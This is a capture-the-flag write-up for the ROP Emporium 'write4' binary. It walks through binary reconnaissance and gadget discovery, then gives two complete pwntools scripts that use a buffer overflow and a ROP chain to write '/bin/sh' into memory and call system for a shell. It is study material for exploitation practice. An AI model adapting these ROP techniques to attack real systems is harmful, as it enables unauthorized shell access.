Writeup

Security protections:

$ rabin2 -I write4
arch     x86
baddr    0x400000
binsz    7150
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

Check shared functions in the binary (PLT):

$ rabin2 -i write4
rabin2 -i write4 
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004005d0  GLOBAL    FUNC puts
   2 0x004005e0  GLOBAL    FUNC system
   3 0x004005f0  GLOBAL    FUNC printf
   4 0x00400600  GLOBAL    FUNC memset
   5 0x00400610  GLOBAL    FUNC __libc_start_main
   6 0x00400620  GLOBAL    FUNC fgets
   7 0x00000000    WEAK  NOTYPE __gmon_start__
   8 0x00400630  GLOBAL    FUNC setvbuf

Check strings:

$ rabin2 -z write4 
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008b8 0x004008b8  22  23 (.rodata) ascii write4 by ROP Emporium
001 0x000008cf 0x004008cf   7   8 (.rodata) ascii 64bits\n
002 0x000008d7 0x004008d7   8   9 (.rodata) ascii \nExiting
003 0x000008e0 0x004008e0  40  41 (.rodata) ascii Go ahead and give me the string already!
004 0x0000090c 0x0040090c   7   8 (.rodata) ascii /bin/ls

There aren’t useful strings that we can use to print the flag, so we need to write /bin/sh somewhere and set the value of rdi to the address of /bin/sh to call system.

The vulnerability is the same as split so I won’t rewrite the decompiler of the pwnme functions.

Listing all the functions using gdb we notice that there’s an interesting function.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00000000004005a0  _init
0x00000000004005d0  puts@plt
0x00000000004005e0  system@plt
0x00000000004005f0  printf@plt
0x0000000000400600  memset@plt
0x0000000000400610  __libc_start_main@plt
0x0000000000400620  fgets@plt
0x0000000000400630  setvbuf@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  main
0x00000000004007b5  pwnme
0x0000000000400807  usefulFunction
0x0000000000400820  usefulGadgets
0x0000000000400830  __libc_csu_init
0x00000000004008a0  __libc_csu_fini
0x00000000004008a4  _fini

pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400820 <+0>:     mov    QWORD PTR [r14],r15
   0x0000000000400823 <+3>:     ret    
   0x0000000000400824 <+4>:     nop    WORD PTR cs:[rax+rax*1+0x0]
   0x000000000040082e <+14>:    xchg   ax,ax

mov QWORD PTR [r14], r15; ret is an useful gadget because if we set as value of r14 an rw area, then we can write into it the value of r15.

Check sections of the binary:

$ rabin2 -S write4 
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x00000000     0 0x00000000     0 ---- 
01 0x00000238    28 0x00400238    28 -r-- .interp
02 0x00000254    32 0x00400254    32 -r-- .note.ABI_tag
03 0x00000274    36 0x00400274    36 -r-- .note.gnu.build_id
04 0x00000298    48 0x00400298    48 -r-- .gnu.hash
05 0x000002c8   288 0x004002c8   288 -r-- .dynsym
06 0x000003e8   116 0x004003e8   116 -r-- .dynstr
07 0x0000045c    24 0x0040045c    24 -r-- .gnu.version
08 0x00000478    32 0x00400478    32 -r-- .gnu.version_r
09 0x00000498    96 0x00400498    96 -r-- .rela.dyn
10 0x000004f8   168 0x004004f8   168 -r-- .rela.plt
11 0x000005a0    26 0x004005a0    26 -r-x .init
12 0x000005c0   128 0x004005c0   128 -r-x .plt
13 0x00000640     8 0x00400640     8 -r-x .plt.got
14 0x00000650   594 0x00400650   594 -r-x .text
15 0x000008a4     9 0x004008a4     9 -r-x .fini
16 0x000008b0   100 0x004008b0   100 -r-- .rodata
17 0x00000914    68 0x00400914    68 -r-- .eh_frame_hdr
18 0x00000958   308 0x00400958   308 -r-- .eh_frame
19 0x00000e10     8 0x00600e10     8 -rw- .init_array
20 0x00000e18     8 0x00600e18     8 -rw- .fini_array
21 0x00000e20     8 0x00600e20     8 -rw- .jcr
22 0x00000e28   464 0x00600e28   464 -rw- .dynamic
23 0x00000ff8     8 0x00600ff8     8 -rw- .got
24 0x00001000    80 0x00601000    80 -rw- .got.plt
25 0x00001050    16 0x00601050    16 -rw- .data
26 0x00001060     0 0x00601060    48 -rw- .bss
27 0x00001060    52 0x00000000    52 ---- .comment
28 0x00001ae2   268 0x00000000   268 ---- .shstrtab
29 0x00001098  1896 0x00000000  1896 ---- .symtab
30 0x00001800   738 0x00000000   738 ---- .strtab

We can use the .data section because is rw and it is long 16 bytes (we just need 8 bytes to write "/bin/sh\x00".

Using ropper we can find a gadget to pop r14; pop r15; ret. We have everything we need to code an exploit.

Exploit

#!/usr/bin/env python3

from pwn import context, process, p64, remote, log

class Sender():
    def __init__(self, local, debug):
        if debug == 'True':
            context.log_level = 'debug'
        if local == 'local':
            self.conn = process('./write4')
        else:
            self.conn = remote('127.0.0.1', 9999)

chunk = b'a' * 40
system = p64(0x4005e0)
data = p64(0x0601050)
bin_sh = b'/bin/sh' + b'\x00'
mov_addr_r14_r15 = p64(0x0400820)
pop_r14_r15 = p64(0x0400890)
pop_rdi = p64(0x0400893)

payload = chunk
payload += pop_r14_r15 + data + bin_sh
payload += mov_addr_r14_r15 
payload += pop_rdi + data
payload += system

snd = Sender('local', False)
log.info(snd.conn.recvuntil('>'))
snd.conn.sendline(payload)
snd.conn.interactive()

with open("out.dat", "wb") as f:
    f.write(payload)

Alternative Exploit

#!/usr/bin/env python3

from pwn import *
from ropper import RopperService

options = {'color' : False}
rs = RopperService(options)
rs.addFile('write4')
rs.setArchitectureFor(name='write4', arch='x86_64')
rs.loadGadgetsFor()

for file, gadget in rs.search('pop rdi; ret', name='write4'):
    pop_rdi = p64(int(str(gadget).split(':')[0], 16))

for file, gadget in rs.search('pop r14; pop r15; ret', name='write4'):
    pop_r14_r15 = p64(int(str(gadget).split(':')[0], 16))

for file, gadget in rs.search('mov [r14], r15; ret', name='write4'):
    mov_addr_r14_r15 = p64(int(str(gadget).split(':')[0], 16))

chunk = b'a' * 40
system = p64(0x4005e0)
data = p64(0x0601050)
bin_sh = b'/bin/sh\x00'

payload = chunk
payload += pop_r14_r15 + data + bin_sh
payload += mov_addr_r14_r15 
payload += pop_rdi + data
payload += system

conn = remote('127.0.0.1', 9999)
log.info(conn.recvuntil('>'))
log.info(conn.sendline(payload))
conn.interactive()

Flag

ROPE{a_placeholder_32byte_flag!}